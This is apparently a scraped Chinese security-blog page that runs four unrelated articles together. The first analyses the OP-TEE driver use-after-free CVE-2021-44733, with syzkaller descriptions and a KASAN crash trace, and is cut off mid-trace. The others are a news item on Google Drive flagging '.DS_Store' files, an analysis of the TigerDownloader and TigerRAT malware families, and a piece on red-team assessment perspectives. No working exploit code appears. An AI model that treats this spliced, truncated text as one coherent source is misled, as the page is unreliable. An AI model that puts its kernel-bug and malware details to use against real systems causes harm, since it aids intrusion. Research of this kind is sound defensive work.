簡單的UAF無法進一步利用，在對漏洞代碼路徑做了進一步分析，簡單寫了個PoC測試後發現是可以覆蓋Linux內核中的函數指針的，本文沒有提供權限提升的漏洞利用代碼，但是在環境設置部分提供了運行OPTTE和漏洞利用的測試環境。

0x01 背景信息TEE是Trusted Execution Environment,也就是可信執行環境，通常用於數字版權保護（Digital Rights Management）、移動支付保護、敏感數據保護。 TEE的實現是基於ARM TrustZone。

需要介紹的另一個概念是REE，也就是Rich Execution Environment，被稱為通用執行環境，這是所有移動設備的通用運行環境，運行Android、iOS 系統。 OS的代碼量龐雜很容易出現漏洞，OS可以讀寫APP軟件中的所有數據，存在大量針對REE的高級攻擊技術和漏洞利用代碼。

TEE受硬件機制的保護，TEE隔離於REE，只能通過特定入口和TEE進行通信；TEE可以訪問REE的內存，可以抵禦某些硬件攻擊。

TEE實質上是一個可信子操作系統，比如最常見的ARM CPU上的TrustZone，運行在CPU芯片中的子OS，TEE驅動程序會處理TEE OS和上層操作之間的通信。

TEE 子系統會對TEE驅動程序進行註冊初始化、會管理Linux 和TEE的共享內存、會為TEE提供通用API。

驅動程序註冊初始化步驟：

1.根據設備類型，構造所需描述驅動的結構體。該結構體需要繼承structdevice_driver結構，並給幾個重要的成員初始化。

2.通過module_init宏調用驅動程序的初始化函數xx_init_module，在初始化函數中註冊驅動程序。

3.驅動程序會遍歷總線上的structdevice和structdevice_driver兩條鍊錶，調用總線的match函數，對設備與驅動程序進行匹配。

4.如果設備與驅動程序匹配成功，則調用驅動程序的probe函數。

什麼是註冊驅動程序：

初始化函數中調用的xx_register_driver函數就是註冊驅動程序，初始化函數執行其實非常簡單，執行一下xx_register_driver函數就會返回，這也是Linux驅動程序的標準註冊流程：module_init--xx_init_module--xx_register_driver。 TEE接口include/uapi/linux/tee.h中的結構體和宏定義提供了TEE的通用使用接口，用戶空間和客戶端可通過打開/dev/tee[0-9] 或/dev/teepriv[0-9] 連接TEE驅動程序。

下面是在include/uapi/linux/tee.h中定義的結構體接口：

TEE_IOC_SHM_ALLOC 分配共享內存並返回用戶空間可以映射的文件描述符。當用戶空間不再需要文件描述符時，它應該被關閉。當不再需要共享內存時，應該使用munmap() 取消映射以允許重用內存。

TEE_IOC_VERSION 讓用戶空間知道此驅動程序處理哪個TEE 及其功能。

TEE_IOC_OPEN_SESSION 打開一個到可信應用程序的新會話。

TEE_IOC_INVOKE 調用可信應用程序中的函數。

TEE_IOC_CANCEL 可以取消正在進行的TEE_IOC_OPEN_SESSION 或TEE_IOC_INVOKE。

TEE_IOC_CLOSE_SESSION 關閉與可信應用程序的會話。

mmap會將一個文件和其他對象映射到內存空間中。文件被映射到多個頁上，如果文件的大小不是所有頁的大小之和，最後一個頁不被使用的空間將會清零。 munmap執行相反的操作，刪除特定地址區域的對象映射。 TEE有兩種客戶端：普通客戶端和請求者客戶端，請求者客戶端是TEE在Linux OS中的輔助進程，用於訪問資源，比如文件系統訪問等。普通客戶端會打開/dev/tee[0-9]*，請求者kehu客戶端會打開/dev/teepriv[0-9]。

/dev/目錄下是Linux的外部設備文件，注意不是驅動文件，Linux會將所有設備認為是文件。客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是接收來自客戶端的請求，將它們轉發到TEE 並將結果發回。在請求方的情況下，通信在另一個方向進行，TEE 向請求方發送請求，然後請求方將結果發回。

TEE是在安全環境中運行的可信操作系統，例如ARM CPU 上的TrustZone。 TEE 驅動程序會處理與TEE 通信所需的細節，驅動程序更重要的職責是為基於Globalplatform TEE 客戶端API 規範的TEE 提供通用API，而且還管理Linux 和TEE 之間的共享內存。該子系統可以通過CONFIG_OPTEE在ARM 架構的內核配置中進行配置來啟用。

The secure world包含表示為OP-TEE OS 的可信操作系統。在此操作系統之上，可以運行受信任應用程序(TA)，這些應用程序可以在隔離環境中執行某些操作，參見圖1。

image-20220117152205863.png

圖1：TEE 概述

The normal world 包括Linux 用戶空間和內核空間，可以使用客戶端應用程序(CA) 和TEE 子系統公開的API 與這些應用程序交互。 CA 可以向特定TA 打開會話並調用TA 實現的功能。在TA 和CA 之間來回傳遞任何參數都是使用共享內存完成的。接下來描述使用所有相關係統調用的CA 和TA 之間的交互。

1、CA 打開/dev/tee[0-9]以與驅動程序通信。對於使用這些API 的傳統方式，這是使用libteec 隱式完成的。

2、CA 可以使用IOCTL TEE_IOC_SHM_ALLOC。這將分配共享內存並返回一個文件描述符，用戶空間可以將其用作mmap 的一部分。

3、下一步是使用IOCTL TEE_IOC_OPEN_SESSION和指定特定TA 的uuid建立會話。這個uuid 在TA 的編譯過程中是硬編碼的。

4、為了調用TA 中的特定函數，CA 通過指定函數的標識符以及輸入參數來調用該函數，這裡使用的是TEE_IOC_INVOKE。

5、當CA 完成所有請求後，可以使用TEE_IOC_CLOSE_SESSION關閉會話。

image.png

圖2：CA 和TA 之間的會話

客戶端和TEE 之間的大部分通信對驅動程序來說是不透明的。驅動程序的主要工作是管理上下文、接收來自客戶端的請求、將它們轉發到TEE 並將結果發回。

0x02 對TEE 驅動器的模糊測試CVE-2021-44733 是使用syzkaller 模糊測試發現的，下面提供了相關的描述文件。 ioctl$TEE_SHM_REGISTER_FD只是Linaro內核樹的一部分，根據syzkaller 文檔正確配置後，“Setting up the environment”中提供的環境就可以用於模糊測試了。

#include

resourcefd_tee0[fd]

resourcesession_resource[int32]

openat$tee0(fdconst[AT_FDCWD],devptr[in,string['/dev/tee0']],flagsflags[open_flags],modeflags[open_mode])fd_tee0

ioctl$TEE_OPEN_SESSION(fdfd_tee0,cmdconst[0x8010a402],argptr[inout,tee_ioctl_buf_data_session])

ioctl$TEE_INVOKE(fdfd_tee0,cmdconst[0x8010a403],argptr[inout,tee_ioctl_buf_data_invoke])

ioctl$TEE_CANCEL(fdfd_tee0,cmdconst[0x8008a404],argptr[in,tee_ioctl_buf_data_cancel])

ioctl$TEE_CLOSE_SESSION(fdfd_tee0,cmdconst[0x8004a405],argptr[in,tee_ioctl_buf_data_close])

ioctl$TEE_VERSION(fdfd_tee0,cmdconst[0x800ca400],argptr[out,tee_ioctl_buf_data_version])

ioctl$TEE_SHM_ALLOC(fdfd_tee0,cmdconst[0xc010a401],argptr[inout,tee_ioctl_buf_data_shm_alloc])

ioctl$TEE_SHM_REGISTER(fdfd_tee0,cmdconst[0xc018a409],argptr[inout,tee_ioctl_buf_data_shm_register])

ioctl$TEE_SHM_REGISTER_FD(fdfd_tee0,cmdconst[0xc018a408],argptr[inout,tee_ioctl_buf_data_shm_register_fd])

ioctl$TEE_SUPPL_RECV(fdfd_tee0,cmdconst[0x8010a406],argptr[inout,tee_ioctl_buf_suppl_recv])

ioctl$TEE_SUPPL_SEND(fdfd_tee0,cmdconst[0x8010a407],argptr[inout,tee_ioctl_buf_suppl_send])

#COMMON

#=======================================================

defineTEE_IOCTL_UUID_LEN16

tee_ioctl_param_struct{

attrflags[TEE_IOCTL_PARAM_ATTR_TYPE,int64]

aint64

bint64

cint64

}

TEE_IOCTL_PARAM_ATTR_TYPE=0,1,2,3,5,6,7

TEE_LOGIN=0,1,2,4,5,6

#OPENSESSION

#=======================================================

tee_ioctl_buf_data_session{

buf_ptrptr64[inout,tee_ioctl_open_session_struct]

buf_lenlen[buf_ptr,int64]

}

tee_ioctl_open_session_struct{

uuidarray[int8,TEE_IOCTL_UUID_LEN](in)

clnt_uuidarray[int8,TEE_IOCTL_UUID_LEN](in)

clnt_loginflags[TEE_LOGIN,int32](in)

cancel_idint32(in)

sessionsession_resource(out)

retint32(out)

ret_originint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}

#INVOKE

#=======================================================

tee_ioctl_buf_data_invoke{

buf_ptrptr64[inout,tee_ioctl_invoke_struct]

buf_lenlen[buf_ptr,int64]

}

tee_ioctl_invoke_struct{

funcint32(in)

sessionsession_resource(in)

cancel_idint32(in)

retint32(out)

ret_originint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}

#CANCELSESSION

#=======================================================

tee_ioctl_buf_data_cancel{

cancel_idint32(in)

sessionsession_resource(in)

}

#CLOSESESSION

#=======================================================

tee_ioctl_buf_data_close{

sessionsession_resource(in)

}

#VERSION

#=======================================================

tee_ioctl_buf_data_version{

impl_idint32(out)

impl_capsint32(out)

gen_capsint32(out)

}

#SHMALLOC

#=======================================================

tee_ioctl_buf_data_shm_alloc{

sizeint64(inout)

flagsconst[0,int32](inout)

idint32(out)

}

#SHMREGISTER

#=======================================================

tee_ioctl_buf_data_shm_register{

addrint64(in)

lengthint64(inout)

flagsconst[0,int32](inout)

idint32(out)

}

#SHMREGISTERFD

#=======================================================

tee_ioctl_buf_data_shm_register_fd{

fdint64(in)

sizeint64(out)

flagsconst[0,int32](in)

idint32(out)

}[align[8]]

#SUPPLICANTRECV

#=======================================================

tee_ioctl_buf_suppl_recv{

funcint32(in)

num_paramslen[params,int32](inout)

paramsarray[tee_ioctl_param_struct](inout)

}

#SUPPLICANTSEND

#=======================================================

tee_ioctl_buf_suppl_send{

retint32(out)

num_paramslen[params,int32](in)

paramsarray[tee_ioctl_param_struct](in)

}模糊測試中的崩潰是由於持有互斥對象時task _ struct 的use-after-free 漏洞：

==================================================================

BUG:KASAN:use-after-freein__mutex_lock.constprop.0+0x118c/0x11c4

Readofsize4ataddr863b0714bytaskoptee_example_r/244

CPU:0PID:244Comm:optee_example_rTainted:GD5.14.0#151

Hardwarename:GenericDTbasedsystem

[](unwind_backtrace)from[](show_stack+0x20/0x24)

[](show_stack)from[](dump_stack_lvl+0x5c/0x68)

[](dump_stack_lvl)from[](print_address_description.constprop.0+0x38/0x304)

[](print_address_description.constprop.0)from[](kasan_report+0x1c0/0x1dc)

[](kasan_report)from[](__mutex_lock.constprop.0+0x118c/0x11c4)

[](__mutex_lock.constprop.0)from[](mutex_lock+0x128/0x13c)

[](mutex_lock)from[](tee_shm_release+0x4b0/0x6cc)

[](tee_shm_release)from[](dma_buf_release+0x1b8/0x2f0)

[](dma_buf_release)from[](__dentry_kill+0x4c4/0x678)

[](__dentry_kill)from[](dput+0x630/0xba4)

[](dput)from[](__fput+0x3b4/0x900)

[](__fput)from[](task_work_run+0x15c/0x230)

[](task_work_run)from[](do_exit+0x103c/0x3770)

[](do_exit)from[](do_group_exit+0x134/0x3ac)

[](do_group_exit)from[](get_signal+0x7d8/0x2f28)

[](get_signal)from[](do_work_pending+0x984/0x154c)

[](do_work_pending)from[](slow_work_pending+0xc/0x20)

Exceptionstack(0x85743fb0to0x85743ff8)

3fa0:00023108000000800000000000000000

3fc0:66bca2d066bca2d066bca2d0000000f066bca2d066bca340000000006ec00b0c

3fe0:66bc9cc866bc9cb80001165566c80c20000e013000023108

Allocatedbytask242:

set_alloc_info+0x48/0x50

__kasan_slab_alloc+0x48/0x58

kmem_cache_alloc+0x14c/0x314

copy_process+0x2014/0x7b18

kernel_clone+0x244/0xfc8

sys_clone+0xc8/0xec

ret_fast_syscall+0x0/0x58

0x6ec00a10

Freedbytask67:

kasan_set_track+0x28/0x30

kasan_set_free_info+0x20

HireHackking

Google Drive將macOS 文件系統生成的'.DS_Store'文件標記為侵權。

'.DS_Store' 文件是蘋果用戶將壓縮文件或文件夾從macOS 系統轉移到非蘋果操作系統後伴隨生成的元數據文件，比如Windows 系統。近日，有用戶報告稱Google Drive將其保存的'.DS_Store'文件標記為違反谷歌的版權保護策略。上個月也有用戶有類似的體驗。

谷歌Drive將'.DS_Store' 文件標記為侵權Google Drive flags '.DS_Store' for copyright violation谷歌Drive將'.DS_Store' 文件標記為侵權

蘋果用戶在從macOS 設備複製ZIP文件和文件到Windows等非macOS 操作系統時經常會看到一個'.DS_Store' 文件。該文件是由macOS Finder應用自動生成的，用來存儲定制屬性和元數據，比如圖標信息和背景圖片位置。相關信息可以幫助用戶根據用戶首選項來渲染佈局。

在macOS 系統中，DS_Store文件在Finder應用中是隱藏的。該文件與Windows系統中隱藏的desktop.ini 和thumbs.db文件類似。

當用戶上傳壓縮文件和文件夾到Google Drive等第三方雲服務時，存儲服務提供商的文件管理器可能會顯示'.DS_Store'、'desktop.ini'和其他類似文件。

谷歌稱這是個例目前還不清楚引發這一行為的原因，BleepingComputer測試發現無法復現該問題。

一個可能的原因是谷歌根據校驗和來追踪版權內容，由於版權文件和該文件存在哈希碰撞使得觸發了報警。

上個月，就有Google Drive用戶稱其文件被錯誤地標記為違反了版權保護策略，而該文本文件中只含有0、 1、173、174、186這樣的數字。

nearly empty files erroneously flagged by Google Drive in January

1月份，幾乎為空的文件被Google Drive錯誤標記

由於校驗和哈希碰撞引髮用戶錯誤地版權保護標記的理論可以解釋部分用戶出現的這一問題。但是該理論目前還沒有經過證明。

谷歌發言人上個月解釋稱，1月發生的問題只影響一小部分Drive文件和用戶，而且谷歌已經糾正了所有被錯誤標記為版權侵權的文件，並採取了相應措施來預防這一問題的再次發生。

HireHackking

Malwarebytes(2021年4月)，卡巴斯基(2021年6月)和韓國CERT(2021年9月)都先後報導了韓國遭受新型惡意軟件攻擊的新聞，該惡意軟件以前從未出現過且使用了全新的技術。

Malwarebytes的初步報告將這個攻擊歸咎於Lazarus組織，而卡巴斯基將其歸咎為Andariel APT，這是Lazarus的一個分支，根據韓國CERT (KrCERT)的報告，研究人員將此次攻擊中的惡意軟件工具稱為TigerDownloader和TigerRAT。 KrCERT報告對他們捕獲的惡意軟件樣本與之前卡巴斯基和Malwarebytes分析的惡意軟件樣本之間的關係進行了全面、詳細的對比分析。他們還使用了專們的歸因技術來進一步關聯攻擊。

在本報告中，我們將重點關注以前報告的攻擊中的惡意軟件工具。我們提供了新的證據，將這些工具歸為相同的下載程序和RAT家族。我們將這些家族分別稱為TigerDownloader和TigerRAT。選擇這些名字是為了紀念KrCERT的重要工作。

我們系統地研究了代碼重用以及在先前報告的攻擊的不同階段(即打包程序、下載程序和RAT 有效負載)中使用的所有樣本之間的函數共性。我們還發現，雖然這些工具屬於上述家族，但在報告的攻擊中，已經部署了不同的工具變體。對於RAT有效載荷，我們發現了三個具有不同函數的版本。對於下載程序，我們找到了兩個版本，一個有持久性函數，另一個沒有持久性函數。

除了這些發現，我們還對現有的分析體系提出了新的推測。

2021年4月19日，Malwarebytes在報告中提到了一個惡意的Word文檔，且發現了一個新的下載組件。

2021年6月15日，卡巴斯基發布了一篇關於相同攻擊的文章，並將其歸為Andariel APT組織，除了Malwarebyte的發現外，他們還發現了新的下載程序和RAT有效載荷。此外，他們還發現了RAT部署的一種新型勒索軟件。

2021年9月，KrCERT報告了一項他們稱之為“ByteTiger”的攻擊活動，這是一項針對韓國的攻擊，他們將其歸因於Andariel APT組織。他們將新的攻擊與之前Malwarebytes和卡巴斯基使用一些專有工具披露的樣本聯繫起來，對比了相似性/重用、rich header、section hash和C2基礎設施。

上述三個報告案例中的攻擊鏈在結構上都有一些相似之處，都觀察到一個下載惡意軟件。卡巴斯基和KrCERT還發現了第三階段RAT組件。在訪問方式上，Malwarebytes 和Kaspersky 報告的案例中攻擊者使用了惡意文件，而KrCERT 案例中使用了受感染的網站。

1.png

Malwarebytes、Kaspersky和KrCERT報告的攻擊鏈的異同

打包程序分析在本節中，我們將首先確定打包程序的二進製文件共享源自解包算法的公共代碼，然後我們展示了在我們可以使用的所有打包樣本的基礎上的一個通用的打包方案。因此，我們的發現提供了強有力的證據，表明二進製文件是由同一打包程序負責的。

打包示例中的共享代碼為了快速了解打包樣本是否相關，我們在函數級別執行了自動代碼重用分析。在下表中，“函數重用”列中的數字代表了一個函數發生的樣本數量。例如，地址為0x140002b70(第一行)的函數出現在27個打包示例中。也就是說，這是一個出現在所有打包樣本中的函數。

2.png

我們分析的27 個打包二進製文件中的函數重用

還有其他幾個函數（即0x140001bf0、0x140002030、0x140002860）出現在27 或26 個樣本中。從表中，我們可以確定打包的樣品是明顯相關的。它們都有兩個共同的函數，並且具有大量代碼重用的樣本子集。

簡而言之，自動化的函數重用分析讓我們可以快速了解打包樣本的關係。正如我們接下來將看到的，它還指導我們的手動分析工作。

根據分析，我們懷疑這些樣本共享了一些有效解包的函數，而剩餘的一些函數是為了避免被反病毒軟件、Yara以及相關的基於模式的檢測技術檢測到。然後，我們進一步研究了這些穩定函數，可以確認它們確實包含打包函數。此分析的結果如下所示。

3.png

在最穩定的函數中找到的函數

我們還可以確認垃圾代碼的存在，其作用是避免檢測技術。下圖顯示了兩個不同示例中的相同函數Decrypt_payload()。我們可以看到像GetFontUnicodeRanges()、GetSysColorBrush() 和CreateBitMap() 這樣的垃圾函數被調用，但它們的返回值沒有被使用。在下圖中，有效的解包代碼（在本例中為XOR 解密算法）包含在所示的綠色框中。

我們在所有打包代碼和許多函數中都發現了這種垃圾代碼策略。

4.png

打包程序代碼中的垃圾代碼，以躲避防病毒軟件和Yara 檢測

綜上所述，到目前為止，我們已經看到打包樣本通過一個公共打包程序代碼相關聯。打包樣本之間的代碼差異主要是由於垃圾代碼的存在。

常見的打包方案打包程序是一個簡單的加載程序，它解密並將有效載荷映射到內存中。解密方案是一個簡單的XOR加密，使用16字節的密鑰。此外，我們發現所有的打包程序變體都遵循相同的打包方案，而該方案的變體由兩個參數決定。一個參數是打包的有效載荷是否採用Base64編碼，另一個參數是在PE文件中存儲打包的有效載荷的位置。

下圖說明了有效載荷編碼的過程。

5.png

PE文件中打包代碼位置的變化，從左到右，PE 覆蓋、PE 資源部分或在此示例中名為OTC 的專用PE 部分中的打包代碼

對於使用專用部分的第三個變體，我們觀察到以下部分名稱：“KDATA,” “OTC,” “OTS,” “OTT,” 和“data.”。我們目前還無法確定這些名字背後的意義。

下圖顯示了我們分析的所有打包下載程序和RAT變體的常見打包方案。

6.png

所有樣品通用的打包方案

惡意軟件家族和變體在本節中，我們將通過代碼重用分析確定所有解壓縮的二進製文件都屬於一個下載程序或RAT家族。我們稱這些家族為TigerDownloader和TigerRAT惡意軟件家族。 KrCERT報告中介紹了這些名稱，用來指代他們調查中的下載程序和RAT組件。

為了快速了解解壓後的二進製文件，我們進行了組合集群和代碼重用分析。這種分析使我們能夠自動識別惡意軟件家族和家族內的惡意軟件變體。此分析的目標是快速了解二進製文件之間的關係，並將分析人員引導至相關樣本進行進一步的手動分析，以最終了解攻擊者的工具和能力。

集群和代碼重用分析的結果如下圖所示，該圖確認解壓後的二進製文件屬於TigerDownloader（藍色）或TigerRAT（橙色）家族。此外，我們看到每個家族都有三個變體(用大圓表示)。我們使用了97.5%的集群閾值，這意味著至少有97.5%相似的二進製文件屬於同一個集群。圖中的集群由所謂的“集群代表”(大圓)和直接連接到集群代表的樣本(小圓)組成。其基本思想是，集群中的樣本本質上是相同的，因此集群代表可以很好地代表。

7.png

使用縮略哈希表對未打包的樣本進行聚類和代碼重用分析

我們注意到聚類閾值的選擇對變體有明顯的影響：高閾值會顯示次要和更多變體，而低閾值會顯示較少和主要的變體。

從圖中我們可以得出以下結論：

在TigerDownloader和TigerRAT家族之間沒有代碼重用。回顧打包程序分析，儘管這兩個家族在代碼方面是不同的，但它們使用了相同的打包方案進行打包。

下載程序有三種變體：一種x86和兩種x64變體。這兩個x64變體非常接近(即97%的代碼重用)，因此很可能是具有微小差異的變體。

在RAT家族中，我們遇到了三種類似的情況：一種x86和兩種x64。然而，這兩個x64變體隻共享55%的代碼，因此似乎是主要的RAT變體。

x64和x86二進製文件之間的關係較低，這是由於編譯器和CPU架構的差異，但仍然可以找到相關的代碼重用。

下圖中的表顯示了之前圖表中集群的詳細組成。我們還注意到，一些(哈希方式)獨特的打包樣本會導致(哈希方式)相同的未打包樣本，從而降低了所考慮樣本的有效多樣性。

8.png

詳細的集群信息

接著我們將更詳細地分析下載程序和RAT變體，將分析限制在集群代表上。這種將分析減少為聚類代表的函數是定向和高效分析和跟踪惡意軟件變體的關鍵。下面的分析中使用的集群代表及其名稱的選擇如下圖所示。

9.png

後續分析中使用的集群代表

TigerDownloader變體在本節中，我們將仔細研究兩個下載程序變體：Downloader-Malwarebytes-x64 和Downloader-Kaspersky-x64。從集群和代碼重用分析，我們知道它們共享97% 的代碼，因此是TigerDownloader 家族的非主要變體。

使用我們的分析工具鏈的二進制差異函數，如下所示，樣本主要由相同的函數組成，除了卡巴斯基(Downloader-Kaspersky-x64) 中的一個獨特函數（地址為0x140001230 的函數）樣本。

10.png

Downloader-Kaspersky-x64和Downloader-Malwarebytes-x64之間的函數級別差異

分析來自卡巴斯基的下載程序示例，我們看到未知函數(0x140001230)是由下載程序的主函數調用的。

11.png

左側Downloader-Kaspersky-x64，右側Downloader-Malwarebytes-x64

原來這個函數是用來實現持久性的，所使用的技術很簡單，包括在當前用戶啟動文件夾中創建一個鏈接，以確保目標設備重新啟動時啟動下載程序。

12.png

為持久性創建快捷方式的函數

13.png

持久性可執行文件的快捷方式

最後，我們注意到在Downloader-Malwarebytes-x64示例中沒有發現任何持久性技術。原因很可能是盡量減少留在受害設備上的痕跡。

與TigerDownloader的關係不幸的是，KrCERT 報告中的下載程序樣本(f0ff67d4d34fe34d52a44b3515c44950) 未公開提供與TigerDownloader相關聯的正怒，因此我們無法將其包含在我們的分析中。儘管如此，為了檢查KrCERT 與Malwarebytes 和Kaspersky 下載程序之間可能的關係，我們試圖純粹基於KrCERT公開報告的工件和行為將它們連接起來。

KrCERT報告了他們在下載程序中找到的兩個C2命令，在可供我們使用的下載程序中找不到任何“Tiger10X”標識符，同時我們也無法找到任何其他可能是C2命令的標識符。

14.png

KrCERT報告的TigerDownloader C2命令

另一方面，我們發現KrCERT報告的各種功能也出現在其他下載程序中：

1.KrCERT報告中的打包符合我們在上面建立的打包方案；

2.KrCERT報告說，通信是使用Base64編碼的，我們也在我們的樣本中觀察到了這一點；

3.由第二階段(下載程序)下載的第三階段(RAT)都屬於同一個TigerRAT家族(我們將在下一節中建立)。

簡而言之，上面的觀察表明KrCERT下載程序可能與Malwarebytes和Kaspersky觀察到的下載程序有關。然而，這只是推測，因為我們沒有訪問KrCERT樣本，因此缺乏確鑿的證據。

TigerRAT變體回顧了代碼重用和聚類分析，我們可以通過代碼重用分析將所有RAT 連接到相同的TigerRAT家族。我們還看到，RAT變體比下載程序變體變化更大。例如，變體RAT-Kaspersky-x64和RAT-KrCERT-x64僅共享大約50%的代碼。

接下來，我們將進一步研究RAT變體。我們在函數和設計層面上提出了強有力的新證據，進一步將RAT變體歸為相同的TigerRAT惡意軟件家族。經分析，變體的主要區別在於它們實現的C2命令。

對於這個分析，我們將重點關注我們在之前建立的RAT-Kaspersky-x64、RAT-KrCERT-x64和RAT-Kaspersky-x86的代表。

各變體命令和函數讓我們看看在不同變體中找到的C2命令，下圖顯示了我們在其中一個RAT變體中觀察到的所有C2命令。由於缺少ids0x08和0x09的命令，因此我們推測，在野外還有未知的樣本包含這些命令。

15.png

在RAT三種變體中至少有一種可以使用的所有C2命令

接下來，我們將查看不同變體所支持的C2命令。

16.png

在不同RAT變體中發現的C2命令

我們看到，使用聚類分析自動識別的三個變量實際上是三個函數不同的變量。除了C2函數中的這些變化之外，這些變體的核心代碼在很大程度上是相同的。因此，本質上是C2命令定義了這三種變體。我們還觀察到“FileManager”、“ScreenCapture”、“SelfDelete”和“Shell”這四個命令對所有的變體來說都是通用的。

C2命令的通用接口我們找到了三個變體通用的接口，如下所示：

17.png

該接口提供了一個由RAT中所有C2命令實現的抽象，這個通用接口在其核心C2函數的變體之間建立了一種強大的關係。

RAT-KrCERT-x64 中的新C2 協議變體C2 協議在所有變體中基本相同，不過我們還是在RAT-KrCERT-x64 變體中發現的一個小的協議變化。這一變化涉及到惡意軟件在C2上的註冊，並包含一個位於TCP模塊中的額外檢查，該檢查負責與C2的所有通信：

18.png

紅色矩形包含添加到RAT-KrCERT-x64變體的新協議檢查。

19.png

左圖，其他變體；右邊，RAT-KrCERT-x64 變體

新函數會向C2 發送一個17 字節長度的塊，我們還沒有分析發送了什麼數據，但看起來它可能與木馬標識符或類似的東西有關。發送數據後，它會檢查C2 是否返回字符串“n0gyPPx”。

20.png

“n0gyPPx”的C2 協議檢查

除了這個協議變化之外，我們還觀察到RAT-KrCERT-x64變體在第一個請求的通信開始時發送的HTTP標頭中的變化。

21.png

HTTP 標頭的變化

基於此協議分析，我們認為RAT- krcert -x64是RAT的一個新版本。

HireHackking

安全評估的目的是減少組織的總體風險，每一個視角都有其自身的價值。所有這些方法應該組合在一起產生一種有效的安全評估策略，該策略應盡可能覆蓋組織的攻擊面，並識別盡可能多的威脅。這樣，組織就可以最大限度地降低風險。在試圖編寫一份全面的安全評估報告時，並不是所有的初始視角都適用於任何情況。因此，必須超越每種攻擊面和風險評估的價值，並深入研究每種攻擊面和風險評估的其他優點和缺點。這使得評估人員不僅知道哪些視角是最需要的，而且還知道哪些視角在任何給定的評估場景中是最可行的。

引入風險在演練之前的任何安全性評估中，必須完成建立演練範圍和ROE這一極其重要的步驟。在開始評估組織的安全性之前，有嚴格的流程來遵循演練將如何執行的細節。不同的初始視角在理解和同意演練的範圍和規則方面呈現出不同的複雜性。演練範圍和ROE用於幫助組織確定演練可能引入的可接受的風險水平。

這種風險表現在兩個方面。首先，安全評估可能會通過評估活動攻擊重要的設備或服務，從而給組織帶來風險。第二，評估者從給定的角度進行評估所需的訪問可能會增加總體攻擊面或其嚴重程度。

外部視角與風險引入最初由外部視角評估的攻擊面是由專門在互聯網上提供的設備和服務組成的。這意味著設備和服務會遭受攻擊以及面臨大量的流量。然而，嘗試執行網絡掃描和漏洞利用所帶來的額外壓力仍然會使設備崩潰。儘管風險很低，但必須考慮到這一風險來源，因為失去一個面向互聯網的服務可能會影響組織的外部和內部用戶。因為評估人員不需要建立內部訪問來從外部視角進行評估，所以執行此類評估不會增加額外的攻擊面。

DMZ視角和風險引入與外部視角類似，DMZ視角最初側重於用於基於互聯網流量的設備和服務。評估導致的潛在停機所造成的風險同樣很低。評估人員訪問DMZ中的設備時不應帶來額外風險，因為DMZ的目的是將某些設備從網絡的其餘部分分割開來。由於DMZ評估視角從DMZ中的橫向位置而不是從互聯網上測試設備，因此嘗試執行網絡掃描和漏洞利用產生意外後果的可能性稍大一些。設備可能沒有準備好處理這種橫向通信，這可能會導致問題出現。這一視角要求在非軍事區（DMZ）內建立一個存在點，從該點開始評估。儘管這使得評估人員能夠深入組織的一個層次，但風險仍然可以忽略不計。交給評估人員的訪問由於其在非軍事區的性質與內部網絡隔離，因此由於其初始評估向量的額外攻擊面，因此不會造成額外風險。

內部視角和風險引入從內部視角進行的評估能夠立即與不面向互聯網的設備和服務交互。這些設備不太可能應對大量掃描或攻擊嘗試，因此從這個視角評估設備存在一定的風險。與外部用戶相比，此處的拒絕服務更可能導致內部用戶缺乏可用性。此外，此評估導致的停機更有可能影響組織功能。內部視角也增加了攻擊面。隨著一個組織授予必要的訪問權限，或者惡意軟件的成功引入，評估人員從這個視角將其他訪問方式引入到一個組織中。

關鍵視角和風險引入與其他初始視角相比，關鍵視角代表了組織運作能力的高風險水平。開展此類評估的初始原因主要是那些被確定為對組織存在能力極其關鍵的風險項。評估對此類設備造成的任何問題都可能損害組織正常運作的能力。攻擊面增加所造成的風險也相對較高。與內部視角一樣，關鍵視角要求組織引入訪問向量來開始評估。此訪問向量添加到組織中的攻擊面更危險，因為它直接指向高危風險項。評估員使用的訪問向量造成的損害對組織來說是極其危險的。在進行此類評估時應格外小心。

前面我介紹了CAPTR 團隊利用的關鍵初始演練視角以及已經在使用中的已建立視角。對這些初始演練視角如何影響進攻性安全評估的過程和結果進行了深入分析。讀者現在應該對初始化視角以及與關鍵初始化視角相關的好處有了更深入的了解。

反向紅隊通過CAPTR 團隊所使用的特定範圍的方法論選擇目標，並使用關鍵視角確定最合適的演練起點，即可開始執行評估。反向紅隊演練鏈路是一種從關鍵視角進行評估的獨特方式，它創建了一種報告機制，使用反向風險關係為此類業務提供極高的成本效益。下文將解釋反向演練鏈路的過程，以及它可以產生的好處和結果的表示。

反向紅隊演練鏈路反向紅隊演練鏈路是利用從初始範圍項目中被動收集的本地情報來定義攻擊者可能使用的訪問向量並適當擴展CAPTR團隊範圍的過程。為了提高高風險漏洞利用和訪問路徑的效率，反向紅隊演練鏈路將重點放在圍繞給定機器的可識別通信通道上，而不是圍繞整個網絡。這種方法為了精確目標的選擇和評估而犧牲了評估的目標數量。

本地評估在假定APT最終可以在入侵過程中實現這樣的上下文的情況下，使用提升的權限對作用域關鍵對象進行局部評估。在CAPTR團隊演練窗口開始時，將評估那些允許攻擊者影響洩露對象的機密性、完整性或可用性的本地權限提升漏洞和本地錯誤配置漏洞。此外，該本地上下文用於識別潛在的遠程訪問向量，例如代碼執行漏洞或糟糕的身份驗證配置。通過訪問本地存儲的數據和操作系統功能，CAPTR團隊評估人員可以有效識別攻擊者可用於初始範圍項目的訪問向量，而無需對潛在風險執行盲目的網絡掃描和漏洞利用。

強調此方法優點的最佳方法是通過使用下圖所示網絡的簡單示例。 CAPTR團隊以結果為導向的範圍界定表明，Linux文件服務器對組織構成了致命的危害，將從訪問服務器的關鍵初始角度進行評估。

Untitled.png

CAPTR團隊評估方向性

在運行多個態勢感知命令後，評估人員使用本地可用的本機操作系統命令來確定組織中被視為致命危害對象的機器的大部分信息。

評估人員了解到Linux服務器使用的內核版本已過時，易受本地權限提升漏洞的攻擊。在組織中的這樣一台關鍵機器上從非特權用戶過渡到超級用戶的能力構成了極其危險的風險。如果其他評估模型沒有完全且成功地破壞網絡中的設備，導致並包括這台可能深入目標組織的機器，那麼這種風險也將不會在其他評估模型中被發現。 CAPTR團隊立即評估了該高風險項，在建立態勢感知的最初幾分鐘內，就發現了一個關鍵的可報告風險項，甚至沒有進行外部漏洞利用和擴展評估。

